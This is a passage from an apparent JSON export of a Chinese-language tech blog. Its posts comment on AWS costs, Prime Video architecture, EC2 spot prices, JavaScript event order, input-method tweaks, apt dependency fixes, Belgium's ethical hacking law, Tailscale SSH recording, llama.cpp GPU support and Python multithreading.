\"we went back to basics and stopped using needless expensive AWS stuff that caused us to completely over architect our application and the results were much better\". Which is good lesson, and a good story, but there's a kind of irony it's come from an internal Amazon team. As another poster commented, I wouldn't be surprised if it's taken down at some point.</blockquote>\r\n\r\n很政治不正確的文章 XD\r\n\r\n以之前的經驗來說，AWS 上類似的東西還包括了 <a href=\"https://aws.amazon.com/vpc/pricing/\">NAT Gateway</a>，這東西只適合在有強資安需求 (像是法規要求)，而且需要連外的流量很少的時候適合。\r\n\r\nNAT Gateway 在新加坡 <code>ap-southeast-1</code> 要 $0.059/hr (美金，所以大約是 $42.48/mo)，以及 US$0.045/GB 的處理費用，所以假設你每天只有 100GB (平均 10Mbps)，就等於是 3TB/mo，要 $135/mo。這樣整包就 $172.48/mo 了。\r\n\r\n如果讓 EC2 機器直接連去 internet 抓資料的話，這些費用就是 $0，你只要付無論是有 NAT Gateway 或是沒有 NAT Gateway 的 outbound traffic 費用部分 (大多是各種 TCP/TLS/HTTP header)。\r\n\r\n比較省成本的解法是用 security group 對 outbound traffic 開放特定的流量來解。\r\n\r\n另外一種方式還是 <a href=\"https://en.wikipedia.org/wiki/Network_address_translation\">NAT</a>，但是是自己架設 HA 的 NAT service，像是 2015 年的文章「<a href=\"https://evertrue.github.io/blog/2015/07/06/the-right-way-to-set-up-nat-in-ec2/\">The Right Way to set up NAT in EC2</a>」提到的方法。\r\n\r\n這個方法以現在的機種來說，兩台 <code>t4g.nano</code> 的機器加上 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 不到 $10/mo，唯一要注意的應該是網路頻寬雖然可以 burst 到 5Gbps，但他的網路頻寬是 credit 機制，當 credit 用完的時候 <code>t4g.nano</code> 記得是剩下 100Mbps 左右？不過真的有這個量的時候機器也可以往上開大一點...\r\n\r\n另外還有很多「好用」的雲端服務，但看到帳單後就變得「不好用」的雲端服務... 在用之前先算一下成本就會發現了。",
    "title": "Amazon Prime Video 捨棄 AWS Step Functions 回頭用 EC2 與 ECS 省錢的文章"
  },
  {
    "id": "11172",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=35795388\">News Minimalist – Only significant news (newsminimalist.com)</a>」這個，把新聞網站所有的文章都丟進 ChatGPT 裡面評分，然後過濾出最高分的產生 newsletter：「<a href=\"https://www.newsminimalist.com/\">News Minimalist</a>」。\r\n\r\n<blockquote>It uses AI (ChatGPT-4) to read the top 1000 news every day and rank them by significance on a scale from 0 to 10 based on event magnitude, scale, potential, and source credibility.</blockquote>\r\n\r\n然後有 feed 可以讀，所以除了用 RSS reader 讀以外，也可以用 <code>/feed add https://rss.beehiiv.com/feeds/4aF2pGVAEN.xml</code> 的方式掛進 <a href=\"https://slack.com/\">Slack</a> 裡面。\r\n\r\n整個服務看起來是 <a href=\"https://vercel.com/\">Vercel</a> + <a href=\"https://www.beehiiv.com/\">beehiiv</a> 搭起來的。",
    "title": "用 ChatGPT 評新聞文章分數後產生的 News Minimalist"
  },
  {
    "id": "11173",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2023/05/05/11171/amazon-prime-video-%e6%8d%a8%e6%a3%84-aws-step-functions-%e5%9b%9e%e9%a0%ad%e7%94%a8-ec2-%e8%88%87-ecs-%e7%9c%81%e9%8c%a2%e7%9a%84%e6%96%87%e7%ab%a0/\">Amazon Prime Video 捨棄 AWS Step Functions 回頭用 EC2 與 ECS 省錢的文章</a>」這篇裡面有提到 <a href=\"https://www.primevideo.com/\">Prime Video</a> 團隊寫的文章，有點負面 PR 的感覺。\r\n\r\n而讓人意外的是 <a href=\"https://www.amazon.com/\">Amazon.com</a> 的 CTO <a href=\"https://en.wikipedia.org/wiki/Werner_Vogels\">Werner Vogels</a> 也寫了一篇文章提到這件事情：「<a href=\"https://www.allthingsdistributed.com/2023/05/monoliths-are-not-dinosaurs.html\">Monoliths are not dinosaurs</a>」。\r\n\r\n從標題可以看到他是針對 <a href=\"https://en.wikipedia.org/wiki/Monolithic_system\">monolith</a> 架構以及其他的架構在討論，而不是在講 <a href=\"https://aws.amazon.com/\">AWS</a> 成本問題 (這反而是原本 Prime Video 那篇文章在標題宣傳的)，另外也講了一些管理面上的東西，也就是文章裡面的副標題，以及兩段粗體字：\r\n\r\n<blockquote>Building evolvable software systems is a strategy, not a religion. And revisiting your architectures with an open mind is a must.</blockquote>\r\n\r\n<blockquote>If you hire the best engineers, you should trust them to make the best decisions.</blockquote>\r\n\r\n<blockquote>there is not one architectural pattern to rule them all.</blockquote>\r\n\r\n至於算不算是提油... 就見仁見智了。",
    "title": "Amazon.com CTO 解釋 Prime Video 的那篇文章"
  },
  {
    "id": "11174",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=35813324\">Even Amazon can't make sense of serverless or microservices (world.hey.com)</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/David_Heinemeier_Hansson\">DHH</a> 抓到機會剛好戳了 <a href=\"https://aws.amazon.com/\">AWS</a> 的費用問題，不過讓我注意到的不是 DHH 的文章，而是在 Hacker News 上的留言 <a href=\"https://news.ycombinator.com/item?id=35823366\">35823366</a>，自稱是當時設計這個 serverless 架構的人出來解釋當時的確有壓力測試過，看起來也還 OK：\r\n\r\n<blockquote>I actually designed the original serverless system (a few years back when I was still at Prime Video), and yes we did and it did sort of look like it could work until it didn't. Obviously wasn't the right solution for the scale we had in mind (or rather the type of problem we were working on) but it's sad to see the mistake of one team be used to justify shitting on serverless as a general solution.</blockquote>\r\n\r\n但這是全新帳號的發言，拿這個 id 去找是可以翻到 <a href=\"https://github.com/TimboKZ\">TimboKZ</a> 這個 <a href=\"https://github.com/\">GitHub</a> 帳號，然後一路找也可以看到 <a href=\"https://www.linkedin.com/in/timbokz/\">Timur Kuzhagaliyev</a> 的 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 帳號，這個帳號裡面有提到 2019 到 2020 的時候在 <a href=\"https://www.amazon.com/\">Amazon</a> 裡面當 SDE：\r\n\r\n<blockquote>Worked on various computer vision projects as a part of Video Quality Analysis team at Prime Video.</blockquote>\r\n\r\n是都符合沒錯，但還是不能完全肯定，目前看八卦的心態還是比較多...",
    "title": "另外一則跟 Prime Video 有關的有趣留言"
  },
  {
    "id": "11175",
    "body": "在「<a href=\"https://pauley.me/post/2023/spot-price-trends/\">Farewell to the Era of Cheap EC2 Spot Instances</a>」這邊討論了 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <a href=\"https://aws.amazon.com/ec2/spot/\">spot instance</a> 最近有上漲的趨勢，像是這張應該是從 web console 拉出來 <code>us-east-1</code> 的 <code>t4g.nano</code> 趨勢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1683534352-7c09abc6.webp\" /><img src=\"https://i.gslin.com/s/1683534352-7c09abc6.png\" alt=\"\" /></picture>\r\n\r\n有不少 region 都有類似的情況，尤其是最常用的 <code>us-east-1</code> 與 <code>us-west-2</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1683534455-b9a4a75d.webp\" /><img src=\"https://i.gslin.com/s/1683534455-b9a4a75d.png\" alt=\"\" /></picture>\r\n\r\n上個月 <a href=\"https://www.plurk.com/\">Plurk</a> 的朋友也有聊到類似的情況，在 <code>us-east-1</code> 上愈來愈難找到便宜的 spot instance 機器了，當時還在想是不是有什麼大型活動，但文章出來後才發現大家都有遇到類似的情況。\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面也有討論：「<a href=\"https://news.ycombinator.com/item?id=35802157\">Farewell to the Era of Cheap EC2 Spot Instances (pauley.me)</a>」，裡面是有提到了一些工具可以再更彈性的調整，用更多邏輯改善成本，像是 <a href=\"https://github.com/LeanerCloud/AutoSpotting\">AutoSpotting - Community Edition</a> 這個專案用 <a href=\"https://aws.amazon.com/lambda/\">lambda</a> 幫你調整：\r\n\r\n<blockquote>The entire logic described above is implemented in a set of Lambda functions deployed using CloudFormation or Terraform stacks that can be installed and configured in just a few minutes.</blockquote>\r\n\r\n回頭來看一下目前的情況 (以及猜測 <a href=\"https://aws.amazon.com/\">AWS</a> 的策略)，如果 spot instance 的常態價錢維持在牌價的六七成，等於是逼你規劃用 <a href=\"https://aws.amazon.com/savingsplans/\">Savings Plans</a> 之類的方案，然後讓 spot instance 慢慢退場。\r\n\r\n話說回來，接下來不知道會不會有人去告 90% saving 的廣告宣傳...",
    "title": "EC2 Spot Instance 價錢的上漲趨勢"
  },
  {
    "id": "11176",
    "body": "瀏覽器裡 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 的事件觸發順序是先 capture 再 bubble，這個在「<a href=\"https://www.quirksmode.org/js/events_order.html\">Event order</a>」這邊就有一些歷史解釋，<a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_8\">IE8</a> 以前只有 capture 模式，到了 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_9\">IE9</a>+ 才支援，在「<a href=\"https://caniuse.com/mdn-api_event_bubbles\">Event API: bubbles</a>」這邊也可以看到。\r\n\r\n但如果是同一個節點上面的事件觸發順序 (假設同樣是 capture 或是同樣是 bubble)，在「<a href=\"https://stackoverflow.com/questions/2706109/are-event-handlers-in-javascript-called-in-order\">Are event handlers in JavaScript called in order?</a>」這邊有些整理資料。\r\n\r\n2000 年的「<a href=\"https://www.w3.org/TR/DOM-Level-2-Events/\">Document Object Model (DOM) Level 2 Events Specification</a>」這邊提到沒有定義順序：\r\n\r\n<blockquote>When the event reaches the target, any event listeners registered on the EventTarget are triggered. Although all EventListeners on the EventTarget are guaranteed to be triggered by any event which is received by that EventTarget, no specification is made as to the order in which they will receive the event with regards to the other EventListeners on the EventTarget.</blockquote>\r\n\r\n在早期的 draft「<a href=\"https://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/\">Document Object Model (DOM) Level 3 Events Specification</a>」裡面可以看到：\r\n\r\n<blockquote>Next, the implementation must determine the current target's candidate event listeners. This must be the list of all event listeners that have been registered on the current target in their order of registration. [HTML5] defines the ordering of listeners registered through event handler attributes.</blockquote>\r\n\r\n但在最新的「<a href=\"https://www.w3.org/TR/DOM-Level-3-Events/\">UI Events</a>」(要注意這還是 draft，在 2016 年更新的) 則是拿掉了這段。\r\n\r\n所以在設計架構時，正常還是得保守的假設沒有保證執行順序...",
    "title": "瀏覽器裡同一個節點上 JavaScript 的事件觸發順序"
  },
  {
    "id": "11177",
    "body": "之前有提過「<a href=\"https://blog.gslin.org/archives/2022/03/27/10629/linux-%E4%B8%8A-fcitx5-%E7%9A%84%E5%B0%8F%E9%BA%A5%E8%BC%B8%E5%85%A5%E6%B3%95/\">Linux 上 fcitx5 的小麥輸入法</a>」，在我自己桌面都換成 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 後都能裝了，就用了一陣子。\r\n\r\n但選字的數量一直覺得怪怪的，本來的數量是九個，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1683540721-e2756fe4.webp\" /><img src=\"https://i.gslin.com/s/1683540721-e2756fe4.png\" alt=\"\" /></picture>\r\n\r\n看了一下 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a> 上的<a href=\"https://chewing.im/\">新酷音</a>，介面上因為設計成 3x3 的關係，所以看起來就不會不舒服：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1683541342-c0ff1b9b.webp\" /><img src=\"https://i.gslin.com/s/1683541342-c0ff1b9b.png\" alt=\"\" /></picture>\r\n\r\n所以就在想，如果是一行的為什麼不是十個？翻了翻程式碼，看起來在 <a href=\"https://github.com/openvanilla/fcitx5-mcbopomofo/blob/master/src/McBopomofo.cpp\">src/McBopomofo.cpp</a> 這邊：\r\n\r\n<pre>  if (keysConfig == SelectionKeys::Key_asdfghjkl) {\r\n    selectionKeys_.emplace_back(FcitxKey_a);\r\n    selectionKeys_.emplace_back(FcitxKey_s);\r\n    selectionKeys_.emplace_back(FcitxKey_d);\r\n    selectionKeys_.emplace_back(FcitxKey_f);\r\n    selectionKeys_.emplace_back(FcitxKey_g);\r\n    selectionKeys_.emplace_back(FcitxKey_h);\r\n    selectionKeys_.emplace_back(FcitxKey_j);\r\n    selectionKeys_.emplace_back(FcitxKey_k);\r\n    selectionKeys_.emplace_back(FcitxKey_l);\r\n  } else if (keysConfig == SelectionKeys::Key_asdfzxcvb) {\r\n    selectionKeys_.emplace_back(FcitxKey_a);\r\n    selectionKeys_.emplace_back(FcitxKey_s);\r\n    selectionKeys_.emplace_back(FcitxKey_d);\r\n    selectionKeys_.emplace_back(FcitxKey_f);\r\n    selectionKeys_.emplace_back(FcitxKey_z);\r\n    selectionKeys_.emplace_back(FcitxKey_x);\r\n    selectionKeys_.emplace_back(FcitxKey_c);\r\n    selectionKeys_.emplace_back(FcitxKey_v);\r\n    selectionKeys_.emplace_back(FcitxKey_b);\r\n  } else {\r\n    selectionKeys_.emplace_back(FcitxKey_1);\r\n    selectionKeys_.emplace_back(FcitxKey_2);\r\n    selectionKeys_.emplace_back(FcitxKey_3);\r\n    selectionKeys_.emplace_back(FcitxKey_4);\r\n    selectionKeys_.emplace_back(FcitxKey_5);\r\n    selectionKeys_.emplace_back(FcitxKey_6);\r\n    selectionKeys_.emplace_back(FcitxKey_7);\r\n    selectionKeys_.emplace_back(FcitxKey_8);\r\n    selectionKeys_.emplace_back(FcitxKey_9);\r\n  }</pre>\r\n\r\n看起來是為了跟 asdfghjkl 九個鍵對齊設計的，但這樣覺得不舒服... 所以在 <code>selectionKeys_.emplace_back(FcitxKey_9);</code> 後面加上 <code>selectionKeys_.emplace_back(FcitxKey_0);</code>，再重新編 + 裝 + 重啟後再輸入就變成十個了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1683540830-bbc2ae4f.webp\" /><img src=\"https://i.gslin.com/s/1683540830-bbc2ae4f.png\" alt=\"\" /></picture>\r\n\r\n這樣自己用是沒問題，但暫時想不到怎麼找出一個好方法併回去... 也許多一組 <code>SelectionKeys::Key_1234567890</code>？",
    "title": "自己小修一下 fcitx5-mcbopomofo 的選詞數量"
  },
  {
    "id": "11179",
    "body": "在跟 <a href=\"https://www.nvidia.com/\">Nvidia</a> 提供的各種驅動程式以及套件奮戰，結果遇到經典的 <a href=\"https://en.wikipedia.org/wiki/APT_(software)\">apt</a> 每次都講的不明不白的老問題，像是依照「<a href=\"https://docs.nvidia.com/deeplearning/tensorrt/install-guide/index.html\">NVIDIA Deep Learning TensorRT Documentation</a>」這篇的說明，你需要指定需要的版本安裝對應的套件，像是我這邊就是要裝 CUDA 11 的版本，但系統就跟你說不能裝：\r\n\r\n<pre>sudo apt install tensorrt=8.5.3.1-1+cuda11.8\r\nReading package lists... Done\r\nBuilding dependency tree... Done\r\nReading state information... Done\r\nSome packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming.\r\nThe following information may help to resolve the situation:\r\n\r\nThe following packages have unmet dependencies:\r\n tensorrt : Depends: libnvinfer8 (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvinfer-plugin8 (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvparsers8 (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvonnxparsers8 (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvinfer-bin (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvinfer-dev (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvinfer-plugin-dev (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvparsers-dev (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvonnxparsers-dev (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\n            Depends: libnvinfer-samples (= 8.5.3-1+cuda11.8) but 8.6.1.6-1+cuda12.0 is to be installed\r\nE: Unable to correct problems, you have held broken packages.</pre>\r\n\r\n以前比較簡單的套件可以用 apt-cache showpkg 慢慢看組合自己解，但這種巨大套件實在沒辦法。\r\n\r\n在「<a href=\"https://stackoverflow.com/questions/26571326/how-do-i-resolve-the-following-packages-have-unmet-dependencies\">How do I resolve `The following packages have unmet dependencies`</a>」這邊則是有提到這個問題，下面有給個一般性的通解：用 <a href=\"https://en.wikipedia.org/wiki/Aptitude_(software)\">aptitude</a> 提供降版的組合，每一套組合你都可以選 <code>n</code> 讓他提供另外一套組合，直到你覺得這套組合 OK 了再選擇 <code>y</code> 讓他裝起來。\r\n\r\n然後裝完以後記得用 <code>apt-mark hold</code> 把主套件的版本固定住，避免 upgrade 的時候又被搞中爛掉出事。",
    "title": "用 aptitude 找出合適的降版組合"
  },
  {
    "id": "11180",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的「<a href=\"https://news.ycombinator.com/item?id=35847860\">Belgium legalises ethical hacking (law.kuleuven.be)</a>」，原文在「<a href=\"https://www.law.kuleuven.be/citip/blog/belgium-legalises-ethical-hacking-a-threat-or-an-opportunity-for-cybersecurity/\">Belgium legalises ethical hacking: a threat or an opportunity for cybersecurity?</a>」，比利時政府官方的荷蘭語與法語的 PDF 檔案在<a href=\"https://www.ejustice.just.fgov.be/mopdf/2022/12/15_1.pdf\">這邊</a>可以取得，但裡面包括了其他法案的資訊，這邊是讀英文版的文章...\r\n\r\n標題提到的 ethical hacking 不確定有沒有比較好的中文詞彙，先暫定用這個。\r\n\r\n先講結論，看完以後可以感覺到是個很糟的法案，應該會本來灰色地帶的 ethical hacking 全部打進黑色或直接全部放 0-day？ \r\n\r\n要符合比利時法律裡面的 ethical hacking 有四個條件：\r\n\r\n<blockquote>The first condition set by the law is that ethical hackers cannot have the intent to cause harm or to obtain illegitimate benefits with their activities. The law therefore excludes that ethical hackers request payment in order to reveal any potential vulnerabilities that they discovered, unless this has been agreed upon in advance, for example as part of a bug bounty programme or a CVDP. Extorsion is not an activity endorsed by the law.</blockquote>\r\n\r\n第一條的限制包括了不得取得利益，除非單位已經有提供 bug bounty program 之類的獎勵。\r\n\r\n<blockquote>The second condition mandates that ethical hackers report any uncovered cybersecurity vulnerability as soon as possible to the Centre for Cyber Security Belgium (CCB), which is the national computer security incident response team of Belgium. Ethical hackers also need to report their findings to the organisation they were investigating, the latest at the time they are notifying the CCB over a vulnerability.</blockquote>\r\n\r\n第二條是強制要回報給政府單位 (CCB)，加上第一條的限制，所以是要免費提供給政府。\r\n\r\n<blockquote>The third condition requires ethical hackers to not go further in their hacking than necessary and proportionate in order to uncover a cybersecurity vulnerability. Ethical hackers have to limit themselves to those activities that are strictly necessary for the objective of notifying a cybersecurity vulnerability. This condition is for example breached if a vulnerability is discoverable with less intrusive means than those chosen by the ethical hacker. Ethical hackers are also required to ensure that their activities do not affect the availability of the services of the organisation under investigation.</blockquote>\r\n\r\n第三條限制滲透行為只限於證明弱點或是漏洞。\r\n\r\n<blockquote>The final condition is an obligation for ethical hackers to not disclose information about the uncovered vulnerability to a broader public without the consent of the CCB. Ethical hackers can therefore not report on uncovered cybersecurity vulnerabilities in the media, for example by noting it in a blog post, unless they have the authorisation of the CCB.</blockquote>\r\n\r\n第四點是政府沒有同意以前不得列漏給其他人。",
    "title": "比利時合法化「道德滲透 (ethical hacking)」法案"
  },
  {
    "id": "11181",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的消息，新聞在「<a href=\"https://www.theregister.com/2023/05/10/mariadb_xpand_postgresql/\">MariaDB's Xpand offers PostgreSQL compatibility without the forking drama</a>」這邊：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Hm. Did MariaDB Corporation just admit PostgreSQL is the future ? <a href=\"https://t.co/FCw30V0x2y\">https://t.co/FCw30V0x2y</a> <a href=\"https://twitter.com/hashtag/mariadb?src=hash&amp;ref_src=twsrc%5Etfw\">#mariadb</a> <a href=\"https://twitter.com/hashtag/postgres?src=hash&amp;ref_src=twsrc%5Etfw\">#postgres</a></p>&mdash; Peter Zaitsev (@PeterZaitsev) <a href=\"https://twitter.com/PeterZaitsev/status/1656327237409607680?ref_src=twsrc%5Etfw\">May 10, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n看起來是 <a href=\"https://mariadb.com/products/skysql/\">SkySQL</a> 的服務，這樣聽起來不像會 open source... 看起來賣點在於 globally distributed RDBMS 這個部分：\r\n\r\n<blockquote>MariaDB is previewing a PostgreSQL-compatible front end in its SkySQL Database-as-a-Service which provides a globally distributed RDBMS on the back end.</blockquote>\r\n\r\n再看看後續會不會有更多消息？",
    "title": "MariaDB 嘗試相容於 PostgreSQL 協定的產品"
  },
  {
    "id": "11182",
    "body": "<a href=\"https://tailscale.com/\">Tailscale</a> 宣布 <a href=\"https://tailscale.com/tailscale-ssh/\">Tailscale SSH</a> 可以側錄：「<a href=\"https://tailscale.com/blog/session-recording-beta/\">Announcing session recording for Tailscale SSH in beta</a>」，這主要是對於 compliance 需求會有幫助，以前有類似需求的話會透過 <a href=\"https://en.wikipedia.org/wiki/Jump_server\">jump server</a> 類的方式來側錄...\r\n\r\n這次提供的是 <a href=\"https://asciinema.org/\">asciinema</a> 格式，很容易可以 replay：\r\n\r\n<blockquote>When a member of your tailnet initiates a connection over Tailscale SSH, our client on the server records all of the terminal output in asciinema format, and streams it to a dedicated recorder node on your tailnet.</blockquote>\r\n\r\n開放給所有使用者，包括免費版本：\r\n\r\n<blockquote>Session recording for Tailscale SSH is available in beta on our Free and Enterprise plans.</blockquote>\r\n\r\n舊的 SSH session logging 則是宣布在八月會停掉：\r\n\r\n<blockquote>This feature replaces a legacy version of local SSH session logging that saves recordings directly to the SSH server’s filesystem. We are deprecating that feature, and anyone using it should migrate to the new SSH session recording feature. The legacy functionality will remain active until at least August 1, 2023.</blockquote>\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的討論「<a href=\"https://news.ycombinator.com/item?id=35905677\">Session recording for Tailscale SSH in beta (tailscale.com)</a>」裡面有一些有趣的東西，像是 <a href=\"https://en.wikipedia.org/wiki/Sudo\">sudo</a> 也有提供類似的功能：「<a href=\"https://www.sudo.ws/docs/man/1.8.13/sudoreplay.man/\">Sudoreplay</a>」。\r\n\r\n之前有遇過一些商用方案，有提供類似的功能，像是 <a href=\"https://www.cyberark.com/\">CyberArk</a> 的「<a href=\"https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASIMP/Configuring-Recording-and-Audits-in-PSMP.htm\">Configure recordings and audits (PSM for SSH)</a>」。\r\n\r\n另外 2016 年時 <a href=\"https://aws.amazon.com/\">AWS</a> 的人也有寫過「<a href=\"https://aws.amazon.com/blogs/security/how-to-record-ssh-sessions-established-through-a-bastion-host/\">How to Record SSH Sessions Established Through a Bastion Host</a>」。\r\n\r\n算是稽核上常見的需求，先前就有不少方法了，Tailscale 提供的工具等於是簡化了一些步驟。",
    "title": "Tailscale SSH 可以啟動側錄功能"
  },
  {
    "id": "11184",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35925124\">Intel One Mono Typeface (github.com/intel)</a>」這個，<a href=\"https://www.intel.com/\">Intel</a> 也出了字型，以 open source license 釋出，<a href=\"https://github.com/\">GitHub</a> 頁面在「<a href=\"https://github.com/intel/intel-one-mono\">Intel One Mono Typeface</a>」這邊。\r\n\r\n這次被拿到 Hacker News 上講的是 monospace font，官方提供的 sample 長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1684089284-81c0e3d0.webp\" /><img src=\"https://i.gslin.com/s/1684089284-81c0e3d0.png\" alt=\"\" /></picture>\r\n\r\n先前 Intel 有出過 <a href=\"https://github.com/intel/clear-sans\">Clear Sans</a>，是以 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a> 釋出，不過從業面上可以看到已經不再繼續維護了。\r\n\r\n蠻多廠商都有出自己品牌的字型，像是 <a href=\"https://www.ibm.com/\">IBM</a> 的 <a href=\"https://en.wikipedia.org/wiki/IBM_Plex\">Plex</a> 系列，或是 <a href=\"https://www.redhat.com/\">Red Hat</a> 的「<a href=\"https://github.com/RedHatOfficial/RedHatFont\">Red Hat Typeface Files</a>」。自己有做 OS 的廠商就更多了 (像是 <a href=\"https://www.microsoft.com/\">Microsoft</a>、<a href=\"https://www.apple.com/\">Apple</a> 以及 <a href=\"https://www.ubuntu.com/\">Ubuntu</a>)。\r\n\r\n現在換字型算是看心情的，一段時間就換一個...",
    "title": "Intel 也出了字型"
  },
  {
    "id": "11185",
    "body": "前陣子因為重灌桌機，所以在重建許多環境... 其中一個就是 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a>，連到專案頁面上時意外發現這兩個新的 feature：\r\n\r\n<blockquote>OpenBLAS support\r\ncuBLAS and CLBlast support</blockquote>\r\n\r\n這代表可以用 GPU 加速了，所以就照著說明試著編一個版本測試。\r\n\r\n編好後就跑了 7B 的 model，看起來快不少，然後改跑 13B 的 model，也可以把完整 40 個 layer 都丟進 3060 (12GB 版本) 的 GPU 上：\r\n\r\n<pre>./main -m models/13B/ggml-model-q4_0.bin -p \"Building a website can be done in 10 simple steps:\" -n 512 -ngl 40</pre>\r\n\r\n從 log 可以看到 40 layers 到都 GPU 上面，吃了 7.5GB 左右：\r\n\r\n<pre>llama.cpp: loading model from models/13B/ggml-model-q4_0.bin\r\nllama_model_load_internal: format     = ggjt v2 (latest)\r\nllama_model_load_internal: n_vocab    = 32000\r\nllama_model_load_internal: n_ctx      = 512\r\nllama_model_load_internal: n_embd     = 5120\r\nllama_model_load_internal: n_mult     = 256\r\nllama_model_load_internal: n_head     = 40\r\nllama_model_load_internal: n_layer    = 40\r\nllama_model_load_internal: n_rot      = 128\r\nllama_model_load_internal: ftype      = 2 (mostly Q4_0)\r\nllama_model_load_internal: n_ff       = 13824\r\nllama_model_load_internal: n_parts    = 1\r\nllama_model_load_internal: model size = 13B\r\nllama_model_load_internal: ggml ctx size =  90.75 KB\r\nllama_model_load_internal: mem required  = 9807.48 MB (+ 1608.00 MB per state)\r\nllama_model_load_internal: [cublas] offloading 40 layers to GPU\r\nllama_model_load_internal: [cublas] total VRAM used: 7562 MB\r\nllama_init_from_file: kv self size  =  400.00 MB</pre>\r\n\r\n30B 的 model 我也試著丟上去跑，但只能丟 28 layers 上去 (全部是 60 layers)，再多 GPU 的記憶體就撐不住了。\r\n\r\n但能用 GPU 算是一個很大的進展，現在這版只快了一半的時間，不知道後面還有沒有 tune 的空間...",
    "title": "llama.cpp 開始支援 GPU 了"
  },
  {
    "id": "11187",
    "body": "在 <a href=\"https://simonwillison.net/\">Simon Willison</a> 這邊看到的：「<a href=\"https://simonwillison.net/2023/May/15/per-interpreter-gils/\">Real Multithreading is Coming to Python - Learn How You Can Use It Now</a>」，他引用的原文在「<a href=\"https://martinheinz.dev/blog/97\">Real Multithreading is Coming to Python - Learn How You Can Use It Now</a>」這邊，在講 <a href=\"https://www.python.org/\">Python</a> 3.12 將會有原生 multithreading 支援。\r\n\r\nPython 裡知名的 <a href=\"https://wiki.python.org/moin/GlobalInterpreterLock\">GIL</a> 問題將會用 Per-Interpreter GIL 的技術來解決，把 GIL 的 global-based 改寫變成 thread-based：\r\n\r\n<blockquote>With introduction of \"Per-Interpreter GIL\", individual Python interpreters don't share the same GIL anymore. This level of isolation allows each of these sub-interpreters to run really concurrently.</blockquote>\r\n\r\n這算是基礎建設，之後應該會有蠻長的陣痛期要轉換，尤其是各個其他程式語言寫的 library 要考慮到 thread-safe 的問題。\r\n\r\n話說回來，<a href=\"https://www.php.net/\">PHP</a> 就沒繼續討論過 threading 這個問題了，大家還是繼續用 process 架構在搞 XD",
    "title": "Python 的原生 multithreading 支援"
  },
  {
    "id": "11188",
    "body": "在 <a href=\"https://www.heroku.com/\">Heroku</a> 把 free tier 拔的差不多後 (「<a href=\"https://blog.gslin.org/archives/2022/08/26/10857/heroku-%E5%85%AC%E4%BD%88%E4%BA%86%E5%BB%A2%E6%AD%A2%E5%85%8D%E8%B2%BB%E6%96%B9%E6%A1%88%E7%9A%84%E6%99%82%E9%96%93%E8%A1%A8/\">Heroku 公佈了廢止免費方案的時間表</a>」、「<a href=\"https://blog.gslin.org/archives/2022/10/24/10931/heroku-%E7%9A%84%E6%9B%BF%E4%BB%A3%E6%96%B9%E6%A1%88/\">Heroku 的替代方案</a>」)，大家手上的小專案都往其他的服務跑，目前看起來做的比較有規模的就是 <a href=\"https://fly.io/\">Fly.io</a> 了，一個人可以建很多個 organization，而每個 organization 都有 free quota 可以用...\r\n\r\nFly.io 官方的文件 <a href=\"https://fly.io/docs/\">FLy.io Docs</a> 裡面可以看到說明，介紹怎麼把 <a href=\"https://laravel.com/\">Laravel</a> 站台跑起來，不過沒介紹怎麼跑純 <a href=\"https://www.php.net/\">PHP</a> 站台，所以就看了文件研究看看，發現可以用 <a href=\"https://www.docker.com/\">Docker</a> container 跑，那就簡單了。\r\n\r\n專案放在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/gslin/fly-vanilla-php\">gslin/fly-vanilla-php</a> 上面。\r\n\r\n一開始我的 Fly App 用的是 V1 